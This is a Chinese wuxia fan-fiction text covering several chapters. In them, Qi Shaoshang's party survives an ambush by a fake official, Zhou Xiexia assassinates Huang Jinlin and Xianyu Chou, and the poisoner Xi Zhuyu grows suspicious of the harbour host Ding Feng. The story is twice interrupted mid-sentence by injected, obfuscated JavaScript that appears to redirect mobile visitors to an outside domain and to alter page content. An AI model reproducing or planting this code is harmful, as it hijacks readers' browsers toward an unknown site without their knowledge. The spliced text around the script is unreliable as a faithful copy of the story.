或许他不是一个足够幸运的人,少年流落江湖,中年遭逢背叛,但他也绝不是一个轻易屈服的人。他不信命,也绝不会屈服于命运。 这就是他的剑,这就是他这段时间领悟出来的剑招,一种背叛命运的剑法! 面对顾惜朝的小斧,戚少商不退反进。 与顾惜朝相比,戚少商已是灰头土脸狼狈不堪,但他一出剑,凛冽的剑芒带着彻骨的寒,身姿轻盈如鹤,一只不屈不饶的鹤,没有那么飘飘欲仙,没有那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倒下一大片的军士不提,被称为神鸦将军的冷呼儿已经没有了呼吸,他的脸呈现出一种诡异的冷白色,像挂了霜,身上有流血,盔甲也有破损之处,看样子像息红泪的剑和雷卷的小斧造成的伤口,但是这些地方即使伤到也一时半会不会死人,并非致命伤。 最后,戚少商看向息祝余。 冷呼儿是中毒而死,而且绝对是剧毒,这点戚少商看得分明。 祝难救在江湖上的名声不以毒术见长,但是这不代表他不会。 据息红泪所言,息祝余实际上是温家前无古人只此一毒温华倩的亲传弟子,这也就意味着他想杀谁,想给谁下毒,都绝非寻常人所能阻拦得了的。事实也的确如此,君不见就连作为九幽神君弟子之一的冷呼儿都没防住,死在了他的毒下。 容貌秀丽的青年摇着折扇,在察觉到戚少商的视线后,一双似笑非笑的眼看了过来,他道:“发什么愣,不走吗?不会是被顾惜朝打傻了吧,还是他给你下毒了要我来解?给你解毒也不是不行,不过要你好好来求我才行。” 他似乎还要说些什么刻薄的话,叫息红泪一个眼刀不情不愿地止住了。 戚少商笑了笑,道:“当然走,还有手臂上的伤也要拜托祝余你了。” “请称呼我为息公子,或是祝公子,我们没有这么熟。” 息祝余睨了他一眼,合上折扇。 12.新敌人 在戚少商对付顾惜朝,息红泪和息祝余对付冷呼儿的时候,冲在前方的枯梅并未遇到阻力,清风明月般的剑式很快清出来了一条道,破开了口子,在顾惜朝和冷呼儿死后更甚,在得知领头的将军死后,这些军士们的士气大大减弱,好些官兵见势不好拿着武器转身就钻入林中跑了个没影。 他们这一行人突围成功后没走不久,枯梅停下脚步,冷声道:“来者何人?” 树枝摇晃,似乎是听了枯梅的话,一位白衣文士缓步走了出来,不急不缓,他神态从容慈和,清癯有神,瞧着叫人很是亲切。 “勿要激动,下官不是敌人。” “不是敌人?” “正是如此,下官听从无情总捕的吩咐前来接应几位,几位刚才可是经历了一场恶战?” “不妨跟下官过去,我这边的布置谈不上能叫官兵撤走,但至少下官还算朝廷官员,还能安排一处地方,可以让几位大侠歇息休养一阵,好再上路。” 白衣文士说话彬彬有礼,有理有据,叫人有如沐春风之感。枯梅听着他说这么一番话,气氛倒没有那么紧绷了。 “无情总捕也来了?”戚少商惊讶。他只见了铁手,对无情的情况并不知情。 息祝余说:“我来的路上是有听说无情在附近出没的消息,不过无情并非此事而来才对。若是我没记错的话,他身上另有差事。” 白衣文士笑道:“不错,无情总捕身上另有差事,分身乏术,故而托下官来接应几位。” 四大名捕之首的无情之名在场谁人不知,谁人不晓,年纪轻轻,不良于行,然而凭借一手因为不带毒而被天下人称为明器的暗器,以及独步江湖的轻功破获无数大案要案,在江湖上有无腿行万里,千手不能防的传言。 与酒囊饭袋同流合污之徒不同,身为诸葛神侯弟子的四大名捕一向秉公执法,明辨是非,拥有能够先斩后奏之权的平乱玦,任谁都无法忽视四大名捕的存在。 黄金麟冷呼儿等人当时当机立断趁人之危直接将铁手关进铁牢里也有部分这方面的考虑。戚少商是侠义之士,他们这群受傅宗书指派的朝廷官员真要论起公理来着实是占不了什么上风的,若是把铁手逼急了,岂不是又多一个敌人。索性直接将铁手捆了去,免得他去帮戚少商给他们添乱。 “既是无情总捕相助,岂有不接受之理,还请这位大人带路。” 白衣文士微微一笑,道:“几位请。” 他任由枯梅的视线冷冷打量,在审视片刻后,枯梅收回了原先凌厉的气势,示意他带路。 戚少商仍有疑虑,顾惜朝的背叛给他的行事作风带来了极大的影响和冲击,尤其是逃亡的这一路上,他忍不住多思多虑几分,不过这位白衣文士说话谈吐间与他自称的来历并无矛盾之处,所以他暂先按耐不动,只是跟上他,并未多言什么。 无情的名头拿出来还是很有说服力的,枯梅、息红泪和雷卷决定暂且相信此人的言语。顾惜朝冷呼儿等人虽是小人作派,可很难想象以他们的傲气会选择假称听从某人吩咐而设局。 戚少商注意到息祝余不知道什么时候越过他走到了前面,跟在枯梅斜后方,用一种较为轻松的语气同白衣文士搭话。 “还不知大人怎么称呼?” “微末小官,不足挂齿,下官姓张。” 息祝余用了然的口吻说道:“原来是张大人。” “不知张大人可知无情总捕如今现况,也不知道他身上要务可曾解决。” “这方面的情况下官并不清楚,无情总捕并未与下官透露过,想来是要紧之事。” “金剑应该还好吧,之前他受了伤,无情总捕请我去救治,只是腿上骨折还需要养一养。” “应该还好,难怪下官见那孩子行动的时候不太自然,原来还有这层缘故。” 息祝余停下脚步,“张大人真的见过无情总捕吗?” “为什么这么说,莫非是下官刚才的回答哪里出了问题?” 这样回应着,白衣文士停下脚步,蓦地一转身,衣袖一甩,竟是招呼也不打一声便突然出手,令人猝不及防。 这一击可为半点不留情,枯梅一声闷哼,嘴角溢出鲜血,若不是息祝余及时将她后扯半步,只怕后果不堪设想。 中了半招,枯梅立即意识到面前之人并非善类,甚至之前所言身份也可能是在弄虚作假,不过她并非会束手就擒之人,手握上剑柄,剑身在空中挥舞,凌厉的剑风朝白衣文士刺去。 东海水云袖是软门功夫,以柔胜刚,可功可守,此人元气又充沛刚猛,生生不息,难缠至极。只见他一边衣袖挡住清风十三式,另一只长袖试图缠上息祝余的手臂,一阵急风逼来,长袖如突然探出身子的毒蛇,却被折扇用劲气击退,然而这一记袖风仍是击中了息祝余。他一人面对枯梅和息祝余二人仍不落下风。 息祝余咳了一声,说道:“金剑最近根本没有受伤,我也没有去给他医治过,不过随口诈你的。” 白衣文士失笑道:“原来方才祝公子是在试探下官,方才想着祝公子以前的确受邀去神侯府治病救人,所以理所当然觉得此事有例可循,看来下官实属不该顺着你的话说。” 他再度起袖,宽大的衣袖下闪过一点寒光,一只匕首被他甩了出来,如穿云矢,裂石箭,电光火石之间,刀刃已逼近息祝余。 “小弟!” 息红泪睁大了眼睛,连忙将朝那边扑去,将息祝余带倒在地,匕首划过息祝余的肩膀,溅起点点血花。 白衣文士被枯梅一剑逼退,稳稳落地后笑道:“虽然可惜没有涂毒,不过祝公子擅长医道,对于解毒一道想来也多有涉猎,这么一想,下官倒觉得这样也还好。只是没想到祝公子与息大娘之间关系匪浅,难怪会出现在这里帮助戚少商了。” 与此同时,还有另外两个人也从埋伏处跳出来,钩镰刀尖端寒光一闪,直取雷卷咽喉要害之处。独脚铜人被人手持顺着重力惯性砸下来,发出破空声,直朝戚少商面门砸去。这样大的威力若真砸中说是破甲断刃也不为过。 雷卷当机立断,即刻蜷缩起来,缩在毛裘中。他这一躲,叫那拎着钩镰刀、眉清目秀的年轻人扑了个空,一镰刀没能砍到实处,只砍到了空气。听着一声喝,不知什么时候,雷卷已然跃起,凭空出现在年轻人身后,右手一抬,食指朝他后脑勺点去。 然而这年轻人也不是吃素的,他偏头躲开雷卷这一 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形势变化只在电光火石之间,穆鸠平很快反应过来,长矛刺入此人腹中,在脊背处冒出矛尖。随着惨叫一声,这满脸横肉之人跌在地上,没了生息。 攻守之势异,白衣文士的视线扫过死去的二人,面上笑容不变,他双袖一舒,袖风逼来,枯梅提剑以剑风格挡,却不料那白衣文士毫不恋战,对死去的同僚半点不关心,施展轻功疾驰离开。枯梅抵挡他的攻击后再抬眼看去,那人已没了踪影。 “见势不妙,立即离开,此人倒是果断。”枯梅冷声道。 她伤势不轻,却还撑得住,脊背挺得笔直,只收剑,抬手抹去嘴角鲜血,转身看向息氏姐弟。 息红泪已经扶着息祝余站了起来,他的脸色苍白,但精神还算好,朝息红泪摆摆手示意自家姐姐松开。息祝余给自己肩上的伤抹了一把药粉,随后走向撞出五丈远倒在地上的年轻人,在探了此人确实已经失去了生命体征后,他复又走回来看了被穆鸠平一矛戳死的人。 “舒自绣,郦速迟,这二人是傅宗书手下小四大名捕,应当也是为了追捕戚寨主而来。”息祝余报上死者名号。 这两人在傅宗书手下无恶不作,擅长给别人加莫须有之罪,屈打成招刑讯逼供是他们的拿手好戏。虽然有小四大名捕的名头,却并无清誉,只不过是傅宗书刻意造势,拉出来跟四大名捕打擂台的。 周撷夏在刑部见过他们,这二人虽不如刑总朱月明带在身边的任劳任怨那般手段得了,可也是棘手人物,残忍寡毒,蛇蝎心肠,只可惜有傅宗书做靠山,寻常人等轻易动不得他们。 “这样看来,刚才那人口中所言皆是谎话,他既然与舒自绣、郦速迟同行,必然与无情不是一道。四大名捕之首无情即便听了朝廷吩咐来杀少商,但以他的为人,总不至于与这二人同流合污。” “不错,但他既然知道无情总捕在附近,想来情报也是极为灵通的,就是不知道究竟属于哪路人马。” “我们必须要加快速度,尽快到达符口渡,路上夜长梦多,恐生变故。” 听枯梅如此说,众人无异议,简单处理包扎伤口后复又继续赶路。 13.说暗杀 另一边,铁手和周撷夏寻着戚少商等人的踪迹前进,却在半途听说了无情和四剑僮的消息。二人一合计,便决定去与无情等人先一步汇合,多一个人多一份力量,这之后再商讨接下来的事情。 无情本来就在放消息等周撷夏找过来,毕竟以周撷夏走过人背后都不一定会被发现的存在感,如果不是无情亲自去找,只怕以四剑僮的能力很难发现周撷夏的行踪。 不过见到与周撷夏一同出现的铁手对于无情来说,着实是意外之喜。 他听铁手说完事情原委,思忖片刻,道:“既然你们觉得戚寨主是清白的,左右我们来这里的事情已经结束,若他是无辜的,那便助他一臂之力,洗清冤屈。” 周撷夏走到金剑身边,问道:“周笑笑和惠千紫已经找到了吗?” 金剑点点头,说:“公子成功击败了他们。所以我们才说要去找你,不然若是身后跟着追兵,还有人设埋伏的话公子也不会放心的。” 无情看向周撷夏,开口道:“小夏,我们之中你最擅长追踪,你先一步去寻他们的踪迹,祝公子见过你,应该可以为你作证。若是找到人便与他们同行,留下记号等我们来找你。我和你二师兄去试试找捕神刘大人,看能不能与他达成共识。毕竟是德高望重的前辈,若是能避开冲突最好,而且从他口中说不定也能探出如此大动干戈抓捕戚少商意欲为何。” “好。”周撷夏没有犹疑,立即答应了下来。 铜剑毛遂自荐,“公子,我也可以去,让我跟小夏哥哥一起去吧。” 无情犹豫了片刻,在铜剑期待的注视下摇了摇头,说:“还是算了,若是只有小夏一个人,他遇到强敌自己也能跑掉。” “小夏哥哥能做到,我也能做到。”铜剑叶告皱眉,他不甘心,但是也不会反驳公子的决定,只好自己低声嘀咕道。 这么近的距离,周撷夏自然听得清铜剑在说什么,他清了清嗓子,说道:“我能在不引起三师兄注意的情况下拿走他的酒葫芦,这个你可做不到。” 铜剑确实做不到,但是他也不想在这么多人面前服输,哼了一声,索性躲到金剑身后不去瞧周撷夏了。 无情听着他们二人你一言我一句的,也不开口,脸上挂着浅浅的微笑。对于少年们不伤和气的拌嘴打闹,他一向不会插手阻止,只在一旁看着。 “那我便先去了。” “去吧,路上小心。” 周撷夏与几人告别,随后穿梭在密林中不见了踪影。 他离开后并没有径直去找戚少商他们,息祝余与他情报互通,他自然知道戚少商他们现在人在何处。 周撷夏先去找了附近的六朝烟。 六朝烟不知道为什么一直没有走,而是在离他不近不远的地方徘徊,只是由于周撷夏与铁手在一起所以只留了记号。不过不管他为什么没有离开,对于周撷夏来说都不是一件坏事,意味着接下来他还可以有一个帮手。 周撷夏顺着记号找过去的时候,六朝烟正在擦拭自己的剑。 “你还没走的话正好,来帮我一个忙。” 六朝烟的动作一顿,他压抑住几乎要持剑刺过去的下意识反应,将剑插回剑鞘,看向带着抹额的少年。 无论多少次,六朝烟都会被周撷夏的突然出现惊到,如果不是周撷夏开口说话,他都不知道有一个人已经来了。 要知道被人毫无察觉地接近对于一个杀手、甚至可以说对任何一个江湖人而言都是致命的问题。 据六朝烟听姑娘说过的只言片语中所知,跟在潜伏的时候刻意隐藏存在感的六朝烟等人不同,周撷夏在还不曾习武时存在感就不怎么强,如非分神专门留意他,不然的话很容易忽略掉他的存在,误认为这并非一个会呼吸的活人,而是与周遭环境融为一体的什么。 在周撷夏习武之后,这种特质变得更加明显,哪怕是武功高到他们师父这般程度的人在周撷夏刻意隐藏存在感时也不一定能发现得了他。 有时候六朝烟会忍不住想,周撷夏能够不被人注意到这种程度还当什么捕快,他简直是天生的杀手。 六朝烟定了定神,道:“找戚少商吗,要我做什么?” “不,我们先不去找戚少商。这个到时候我自己去就行,我来找你是想和你一起去杀两个人,黄金麟和鲜于仇。” “若是只有一个人的话我还能暗杀,但是有两个人,就需要有人帮我吸引注意力。” 六朝烟低声应是。 为什么要杀黄金麟和鲜于仇,周撷夏没有说,六朝烟也没有问。 他不必问。他本就是被师父作为杀手培养出来的,除了杀人以外别无所长。对于他而言,杀人也不需要理由。 周撷夏和六朝烟都是追踪的好手,黄金麟和鲜于仇一个骑马一个骑骆驼,身后又跟着不少官兵,这么多人一起行动的踪迹难以掩盖。何况黄金麟等人自恃朝廷官员,本就没有掩藏行踪的意思,所以很快周撷夏和六朝烟就找到了他们。 等到了半夜,周撷夏朝六朝烟比了个手势,随后先一步动身,无声无息前往黄金麟的帐篷。他就像融入了影子,又好像一缕清风,毫不起眼地路过巡逻守夜的兵士,却无一人发现他们的营地里进了一个陌生人。即使是一直盯着他瞧的六朝烟也不知道什么时候就丢失了他的行踪,不清楚他究竟是还在外面还是已经走进了最中心的帐篷。 掀开帐篷,周撷夏走进去,漆黑一片,黄金麟早已着甲入睡,他的剑就在他的手旁,随时可以抽出来。 这是一个正值壮年,武功高强,战斗经验丰富的武将。他能得傅宗书重用,被派来当敉乱总指挥,抛开人品不谈,能力是绝对足够的。但正因为他的人品与能力不成正比,又得罪过铁手,被周撷夏得罪,周撷夏才不能让这种心眼比针尖还小的小人活着回到京城去给铁手或是他添堵。 周撷夏抽出匕首,划开他的咽喉,看着血溅出来,随后黄金麟面露 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军士们抄着刀朝黑衣人击来,黑衣人剑身一送,顷刻间夺走两条性命。鲜于仇抓住机会,手中拐杖骤然翻转,用杖柄朝黑衣人砸去,黑衣人避之不及,硬生生挨了这么一下,接连后退。 黑衣人没有忘记已经进来的兵士,也没有忘记将周遭团团围住点着火把的士兵,即使受了伤,被击中的地方好似点燃了两条火舌,烧得内里直痛,掌中剑仍不停,八尺之内叫人无法近身。 他离开了营帐,来到了外面。 趁人之危对于鲜于仇来说并不是什么贬义词,这黑衣人来杀他,一次没有成功,想来还有下一次,正好他已击伤此人,不趁此机会要了此人性命的话他也不是九幽神君的弟子、隶属傅宗书麾下的红人骆驼将军了。 这黑衣人一人一剑,孤掌难鸣,而鲜于仇这边人多势众,就算是用兵士的性命也能硬生生耗死这杀手。 鲜于仇打定了主意,手持拐杖走出营帐,一跃而起,自上而下一杖朝黑衣人击去。 黑衣人没有去反击,他甚至没有去面对鲜于仇,而是背对着鲜于仇,这无异于将自己的要害暴露给了敌人。他难道不知道这样做的危险之处吗?还是说他已经惊慌失措到只顾着逃跑了? 不,事实绝非如此。 不知道什么时候,有一个人比鲜于仇更快一步跃起,悄无声息地出现在鲜于仇的背后,他手中的匕首在空中之间一点寒光,刀刃自鲜于仇身后探出,又快又狠地割过他的咽喉,在飞溅出血花的时候,身后的人影已然不见,好似乡野怪谈中无声无息夺走人性命的鬼怪。 鲜于仇的尸体,连同他的拐杖跌落在地,发出重重的响声。周围的军士再看去,哪里还有什么黑衣人的影子,遑论那一刀割喉的人影。 有一个离得最近的官兵拿着刀的手开始颤抖,他下意识吞咽了一下,握紧了另一只手中的火把,企图从燃烧的火焰中汲取一些虚无缥缈的安全感。 14.丁公子 历尽艰辛,戚少商一行人终于到了符口渡。 在闻到空气中潮湿的气息后,即使他们还不明了之前与舒自绣二人一同伏袭的白衣文士姓甚名谁,身后还有黄金麟刘独峰等人的追捕,种种危险还未能彻底解除,但枯梅也好,戚少商也罢,都松了口气。 息祝余的体力没有其他人那边好,其人在这方面也不像雷卷一样强撑,故而他早早就寻了沈边儿,在确认沈边儿有余力后叫沈边儿背着他走,现在到了符口渡,他拍了拍沈边儿的肩膀,随后从沈边儿身上下来。 渡口附近有不少捕鱼为生的,也有不少客栈酒家,从船上下来歇脚的人便会在这附近的客栈酒家吃饭喝酒聊天,一眼望去,一片热闹的景象。 枯梅说:“你们现在这里等我一会,我去找人,然后我们就上船。等到了海上那帮朝廷的狗官就追不上来了。” “好,大师万事小心。”戚少商朝她颔首。 看着枯梅的身影淹没在人群中,息祝余走近息红泪,戳了戳她的手臂,低声问道:“姐,我一直没问过,你是怎么跟枯梅大师相识的啊,我记得她不是一直在华山上,不怎么下山的吗?” 虽然有些疑惑息祝余怎么忽然开口问这个,息红泪还是回答了他。 “是在太原无争山庄,原老庄主的五十大寿上认识的,华山与无争山庄是故交,所以枯梅大师也会去,我当时去是为了毁诺城的物资,虽然没能谈成,但结识了枯梅大师也并不算无功而返。” “原来在是无争山庄认识的,原老庄主我也见过一面,是个性格很随和的人。” “不错,小弟你去过那边?他们可是请你去看原少庄主?” 江湖人皆知,无争山庄少庄主原随云自幼聪明好学,资质颇佳,可惜因病双目失明。息祝余以医术见长,请他医治疑难杂症的人数不胜数,息红泪能想到这一点也不足为奇。 “确实如此,只是原少庄主的眼疾并非外力,比如中毒受伤之类的,而是因为疾病所导致的。但姐你也知道,我涉猎最深的还是毒,若是像雷老总这般受伤后病变的我还有几分把握。但少庄主真的只是生病导致的失明,何况眼睛是非常精密脆弱的地方,所以原少庄主的眼睛我便无能为力了。” 见息祝余摇摇头,息红泪也明白他的意思,点点头,放缓了声音安慰道:“能治你必然就治了,不会等到现在。很多事也不必强求,你也不必为此感到愧疚,世上有那么多疾病,没道理要你都会治。” 雷卷在一旁听到最后几句话时抬了抬眼皮。 他心里寻思就息祝余那个性子还会感到愧疚?也就是息红泪是他姐姐只怕才会这么想。在小雷门来给雷卷看诊的时候息祝余就把沈边儿雷腾等人理直气壮地指挥地团团转,雷卷还真没见过这小子露出什么类似于心虚的表情。 雷卷说道:“即使是华山的故交,也不一定要枯梅大师亲至,或许枯梅大师和原老庄主之间私交也不错。” 雷卷的猜测不无道理,枯梅大师从小出家,孤僻冷峻,连话都不愿和别人说,有时甚至终日都不开口,即使是在华山上也鲜少与人交际,原老庄主五十大寿她能亲自到场,属实是非常友好的态度了。 “说来枯梅大师虽少言寡语,可实在是个热心肠,这次还是大师亲自来毁诺城找的我,我本来打算在毁诺城等着少商来,借毁诺城防守之利与朝廷官员周旋,不过枯梅大师说服了我,与其在毁诺城死守,不如往外面跑,以此博得生路。” “朝廷的力量在城镇确实很强不错,那群狗官死了再多军士也不心疼,他们随时可以调动当地的队伍补充人手,可到了海上就不一样了,大海一视同仁,他们再得意也要应对海上变幻莫测的天气。” 息祝余了然,笑了笑,道:“原来如此,那我们等会休整的时候我去买些药材配些在船上吃的药,也不知道咱们这一行人中会不会有人晕船。” 息红泪赞同道:“是这个理,有备无患。” 不过一会,枯梅回来了。她不是一个人回来的,身后还跟着一位轻衫少年,人长得很英俊,脸上也带着笑容。 此人跟着枯梅过来后,抱拳行礼,有意压低声音问安,随后更是放轻了声音道:“枯梅大师与我家公子有故,如今枯梅大师有事,弟子自然义不容辞。在下丁枫,此处人多嘴杂,还请几位随我来。” 见到此人的面容,听到他的声音名字,息祝余垂下眼帘,用折扇挡住自己的大半张脸,听着他颇有礼貌的话语,随后与众人一道跟上丁枫,可息祝余心中的疑问并未停止。 丁枫?他怎么会在这里?他怎么会出现在这里,而且还一副与枯梅大师是一伙的态度? 无怪息祝余心生疑虑,他虽然如今是头一回见到丁枫,可二号马甲蔡筱对丁枫这张脸可不陌生。 在她和六朝烟去海上销金窟蝙蝠岛时,这个名叫丁枫的少年就是船上的引路人,到了蝙蝠岛后二号马甲也见过他,俨然一副岛中人的姿态。 蝙蝠岛上什么都有,也什么都卖,奇珍异宝,珍稀药材,情报秘闻,门派功法……只要是能想到的,只要是想要买的,他们什么都有。除了交易买卖的场所,他们还提供享乐欢愉之处,仿佛任何想法,任何罪恶都可以在这无比漆黑没有一丝光亮的地方得到允许,得到纵容。 这样的一座海上销金窟不可能不得到蔡京的注意,大量的情报和金钱在蝙蝠岛上流通,蝙蝠岛究竟获利多少没人能估算出一个准确的数。只是蝙蝠岛在海上,往来皆靠船只,蔡京身在京城,实在鞭长莫及,不过他有让蔡筱对蝙蝠岛的情况多留意几分,尽可能查出蝙蝠岛的幕后势力。 在蔡筱去蝙蝠岛之前曾经看过蔡京差人寻来的在蝙蝠岛上拍卖的一些物品,其中不乏大门派的不外传的功法。那时蔡京便下了定论,在蝙蝠岛的背后一定有一个在中原能量不小的势力。 不然单凭无门无派的闲散江湖人,绝对搜罗不到如此多的门派功法。退一步说,是这些都是本门派的子弟卖出去的,他们也或多或少与幕后势力有所联系,只是他们自己可能不知道罢了。 丁枫就是蔡筱留意的一个对象。 因为当时在蔡筱试探蝙蝠岛的能力,向蝙蝠岛表示想要得到长空帮血案的真相时,与她接触的人找来了丁枫,是丁枫很可惜地告诉她目前还没有得到这方面的情报,不过后续若是有消息会发邀请函给她。 由此可得,丁枫绝对是一个在蝙蝠岛上有部分权限的人,他能够接触到蝙蝠岛上的情报流通。 故而像这样一个与蝙蝠岛关系匪浅的少年出现在这里,令息祝余不得不多想几分。 蝙蝠岛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972941|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是海上势力,他们这一行人中会凫水的不多,也没有人长时间在船上生活过,若是上了船,离了岸,丁枫等人又有歹心,岂不是人为刀俎,我为鱼肉? 虽说不能上船,落入他人的地盘,但是现在也不能强硬地拒绝丁枫,不能叫他产生疑虑,如今能够找个落脚的地方歇息而不被官兵搜查都是拜他的功劳,若是丁枫觉得划不来而把他们出卖给朝廷,那他们就被动了。 “几位先在这里休息几日,待船只准备好,我们就启程。” 丁枫带他们来到一处院子,让他们安顿下来。雷卷注意到这里的侍女侍卫行动都颇有条理,见有人进来也目不斜视,没有一个人主动将目光投过来看他们的。 “多谢丁公子。” “枯梅大师这一路上鼎力相助,戚某感激不已,现如今还找了丁公子来帮忙,冒着被朝廷通缉的风险送我们出海,这实在是……两位雪中送炭的恩情,戚某绝不敢忘!” “戚寨主实在客气。” 枯梅侧身,避开戚少商的行礼,朝他颔首。 “以戚寨主的为人,朝廷通缉之言多半为捏造之事,再加上黄金麟顾惜朝那等小人行事作风实在令人不屑,助戚寨主一力也是理所当然。” “莫说我了,息大娘,雷门主等人不也来了吗?可见并非我一人这般想。” 在枯梅大师表态后,丁枫跟在之后附和,态度礼貌谦和。 “几位大侠这一路上来也累了,不妨先休息一会。如果没记错的话,几位大侠应当都没有出过海,船上的生活虽然还算平静,但也需要保留体力适应海上的颠簸。” “丁公子,我若是想配些晕船药,不知方不方便帮忙买些药材?” “自然,息公子想要什么药材只管跟我说,或是跟这院子里的人说都可以,只要能买到的,我们一定送来。” “那便多谢了,不过也不会是什么珍稀药材,只是一些寻常的生姜薄荷桂皮一类便可。”息祝余朝他微微一笑。 在离开戚少商等人的视线后,丁枫走过院子的长廊,在一处有窗的小屋停留,望向轩外的水。 不一会,枯梅也走了过来。 “朝廷那边可有什么动静?” “已经联系上文张文大人了。他答应了我们的条件,不过有个要求,他也要派人一并登船上岛,以免我们抓住戚少商后翻脸不认账,他要到时候由他的人把戚少商的头带回去。” “文张?他倒是消息灵通,不过也是,早就听闻他于朝廷江湖上都颇有手段。” 枯梅冷声道:“顾惜朝和冷呼儿死了,黄金麟和刘独峰怎么不听你说他们?” 丁枫不怎么受枯梅冷冽语气的影响,平静地汇报他所得到的消息。 “黄金麟也死了,他和鲜于仇都死了,只是不知道杀他们的人是谁,我派人打听过,说是两个神秘人对他们痛下杀手,其中一个听着像是杀手的行事作风。他们二人树敌颇多,说不定有仇家买凶杀人,得到此等结局也不足为奇。” “至于刘独峰那边还不好说,无情找到了他,目前还不知道他们下一步的动向。铁手曾帮过戚少商,不知道铁手有没有告诉无情此事。若是无情也掺和进来,只怕事情就没有公子先前预想的那么简单,迟则生变,我们要早日上船去岛上才能放心下来。” 15.谁中毒 对于被丁枫所掌握的院子和人手,息祝余半点也不客气,除了晕船药必备的常见药材以外还要了不少止血治伤的好东西。丁枫没有出现,但药材都被院子里的侍卫送到了,品质也不错,不是有些药房里拿来糊弄人的便宜货。 “要好好感谢丁公子的鼎力相助才行。” 戚少商忍不住感慨一声。 “若不是枯梅大师相助,丁公子雪中送炭,我们说不定连落脚的地方也没有。” 息祝余将被捣成糊糊状的药材涂抹到戚少商的断臂上,语气冷淡地说道:“比起这个,我倒是更想知道你为什么被朝廷通缉。” “这有什么可想的,小弟,朝廷那帮狗官本来就看不惯连云寨,连云寨虽然不怎么与官兵发生冲突,但说到底在他们眼里还是贼寇,什么想起来了什么时候派人来追杀少商也不足为奇。” 一直在旁边看着息祝余给戚少商上药的息红泪轻笑着给出了自己的回答。 跟自己的姐姐说话,息祝余的语气就没有那么冷淡了,他摇了摇头,说道:“话不是这么说的,姐,能够给出让顾惜朝花费精力潜入连云寨几年就为了戚少商项上人头的报酬,傅宗书究竟与戚少商有多大仇怨?难不成是他在京城闲的无事可做非要针对这姓戚的吗?” “顾惜朝不过一急功好利的小人,但他背后的傅宗书可并非如此,除了义子顾惜朝,他还派出了心腹黄金麟和文张,捕神刘独峰的加入说不定也是他在背后设计推动,如此阵仗,如此大动干戈,将谋反的罪名扣上来就为了杀戚少商,这可不只是一个贼寇的名头就能概括的。” 之前息祝余想法与息红泪差不多,觉得左不过朝廷或是朝廷中有人忽得看戚少商不顺眼,公报私仇,便打着个敉乱的名头来杀戚少商,可丁枫的出现让他瞬间意识到其中的不对劲。 戚少商身上绝对有什么秘密,这个秘密让傅宗书忌惮,让蝙蝠岛觊觎,甚至不能放到明面上来说,只能用一个即使是顾惜朝也不相信的、所谓谋反的罪名来追杀戚少商。 这样想着,息祝余给戚少商缠上绷带,在息红泪因为他的话而陷入思考的同时用力一拽,满意地看到戚少商表情扭曲了一瞬后打上一个死结。 “小弟,你别总是捉弄少商。” 息红泪没有看到戚少商表情变化,但是看到息祝余一脸满意的模样,就知道他肯定有在使坏。 “我才没有,你说是吧,戚大侠?” “……是,刚才什么也没有。” 息红泪嗔怪道:“少商你别纵容他,给点颜色这小子就能开染坊。” “戚大侠都说了什么也没有,姐你就别操心了,好了,你们两个聊,我再去找看看其他人的情况。” “卷哥的伤麻烦你多留意几分。” “放心,雷老总的情况我一直有在关注。你可也要小心啊,戚少商,不要下楼梯的时候磕到台阶上把头给摔破死掉了。” 临走之前他也不忘阴阳怪气一句,若不是看在息红泪也在,他阴阳怪气的程度可能会更为明显。 息祝余离开之后,去寻了上次带来药材的侍卫,让他再去找一些其他的药物,并且表示希望见丁枫丁公子一面。 没过多久,息祝余就见到了丁枫,丁枫的态度一如既往地彬彬有礼。 息祝余直入主题,他露出凝重的神色,说明了想要见丁枫的原因。 “我知道丁公子愿意收留我们已经是冒着极大的风险,只是在下仍有一个不情之请,我们可以在这里多留一段时间吗?” “多停留一段时间就多一分危险,还是尽早上船会安全一些。不过我相信祝公子绝非无的放矢之人,不知是出于什么缘故使祝公子考虑在岸上多待一阵?” 息祝余叹了口气。他有一张可以用昳丽来形容的面貌,在他露出这样忧愁的表情时显得尤为真挚。 他并不经常展露出这样无害的模样,或者说正因为他的容貌并不带有凌厉的攻击性,息祝余在言辞神态和行动上才更下功夫,表现出一副不好惹的危险姿态。而当他放下那些刻意表现出来的桀骜不驯时,效果是立竿见影的。 “也是我们大意了,丁公子有所不知,之前情况紧急,所以我大多只是替大家粗略包扎上药,方才得了丁公子庇护,我为戚寨主细细查看之后才发现一个不得了的情况。” “什么情况?” “他中了毒。” 丁枫惊呼道:“什么?” “他中了毒,我之前没有发现,刚才在包扎上药的时候发现他有中毒的迹象,所以我希望可以多停留一阵,看丁公子能不能想办法再将官兵拖住一段时间,等戚寨主身上的毒有所好转,我们再上船。不然在船上没有对应的药材,我就算再自负也不敢夸下海口能保住戚寨主的性命。” 丁枫沉吟片刻,问道:“带上药材上船也不行吗?” 息祝余摇了摇头,用折扇敲了敲自己的手心。 “不太行,现在虽然还没有发作,但是就目前所观察出来的状态而言,戚寨主可能中的毒应该就是那十几种之一,其中有五种毒发后只要及时控制就可得到缓解,三种需要其他毒辅助才会激发药效,八种一旦毒发就极为猛烈。我现在还拿不准究竟是哪一种毒。不同程度的毒发所需要的药材和手法不同,就算是把药房搬上船,可能也会出现需要的药材没有的情况。” 息祝余不怕丁枫不信他的话,因为他所言句句属实。 之前确实没有发现戚少商中了毒,因为这个毒是他刚刚才下的混毒,哪怕丁枫去找其他大夫来诊断,所得出的结论也不会与他说的话出现什么冲突。如果水平不如他的话,甚至可能判断不出来戚少商是中了毒,反而会以为是受了什么伤才导致的这样的身体状态。 丁枫皱了皱眉。 